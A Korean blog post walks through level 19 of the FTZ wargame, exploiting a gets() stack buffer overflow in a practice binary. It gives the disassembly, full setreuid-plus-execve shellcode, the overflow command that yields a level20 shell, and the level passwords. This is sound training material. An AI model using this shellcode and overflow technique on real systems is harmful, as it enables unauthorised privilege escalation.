티스토리 뷰
Level19 Password is swimming in pink.
힌트는 다음과 같다.
main()
{ char buf[20];
gets(buf);
printf("%s\n",buf);
}
매우 간단해 보이는 코드인데 gets 함수를 쓴다.
gets를 사용하면 위와 같이 buf는 20이지만 20이 넘어도 값을 받을 수 있고, 그대로 출력해준다.
gets 함수는 bof에 매우 취약한 함수이며, scanf와 같이 입력받는 문자열의 크기와 주어진 변수의 크기를 고려하지 않는다.
그렇다면, buf에 쭉 입력을 해줘서 ret을 건드리거나 하면 되지 않을까 라는 생각이 들었다.
gdb로 본 어셈 코드도 엄청 짧다!!
Dump of assembler code for function main:
0x08048440 <main+0>: push ebp
0x08048441 <main+1>: mov ebp,esp
0x08048443 <main+3>: sub esp,0x28
0x08048446 <main+6>: sub esp,0xc
0x08048449 <main+9>: lea eax,[ebp-40]
0x0804844c <main+12>: push eax
0x0804844d <main+13>: call 0x80482f4 <gets>
0x08048452 <main+18>: add esp,0x10
0x08048455 <main+21>: sub esp,0x8
0x08048458 <main+24>: lea eax,[ebp-40]
0x0804845b <main+27>: push eax
0x0804845c <main+28>: push 0x80484d8
0x08048461 <main+33>: call 0x8048324 <printf>
0x08048466 <main+38>: add esp,0x10
0x08048469 <main+41>: leave
0x0804846a <main+42>: ret
0x0804846b <main+43>: nop
0x0804846c <main+44>: nop
0x0804846d <main+45>: nop
0x0804846e <main+46>: nop
0x0804846f <main+47>: nop
End of assembler dump.
A 입력을 20개 준 상태이다.
stack 구조는 다음과 같다.
A 40개와 환경변수의 주소를 입력으로 넣어주면 segmentaion이 뜨고
A 44개와 환경변수의 주소를 입력으로 넣어주면 level19의 shell이 뜨긴 뜬다..
근데 얻고자 하는건 level20의 shell인데 왜 level19가 뜰까!
계속 삽질하다가 더 찾아봤더니, 단순히 shell을 실행시키는 것이 아니라, setreuid를 실행하는데 level20의 uid로 설정해야 한다고 한다.
기존의 SHELLCODE에 setreuid(3100,3100); 의 기계어 코드인 "\x31\xc0\x31\xdb\x31\xc9\x66\xbb\x1c\x0c\x66\xb9\x1c\x0c\xb0\x46\xcd\x80" 를 추가해줘야 한다.
export SHELLCODE=$(python -c 'print "\x31\xc0\x31\xdb\x31\xc9\x66\xbb\x1c\x0c\x66\xb9\x1c\x0c\xb0\x46\xcd\x80""\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')
getit 코드를 통해 주소를 알아내고,
(python -c 'print "A"*44+"\x0c\xfc\xff\xbf"';cat) | ../attackme
이렇게 입력을 주면 level20의 권한을 얻을 수 있다.
Level20 Password is "we are just regular guys".
'System > FTZ' 카테고리의 다른 글
[FTZ] level18 (0) | 2017.09.28 |
---|---|
[FTZ] level17 (0) | 2017.09.28 |
[FTZ] level16 (0) | 2017.09.28 |
[FTZ] level15 (0) | 2017.09.27 |
[FTZ] level14 (0) | 2017.09.25 |
- Total
- Today
- Yesterday
- 자바
- C
- 명령어
- lob
- attackme
- WebHacking
- my-pass
- MySQL
- wargame
- Lord of SQL Injection
- java
- c언어
- 우분투
- cobolt
- lord of sqlinjection
- Python
- 1번
- ftz
- 워게임
- pwnable
- 설치
- 웹해킹
- ubuntu
- BOF
- 파이썬
- pwnable.kr
- Los
- 0xdeadbeef
- webhacking.kr
- wargame.kr
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |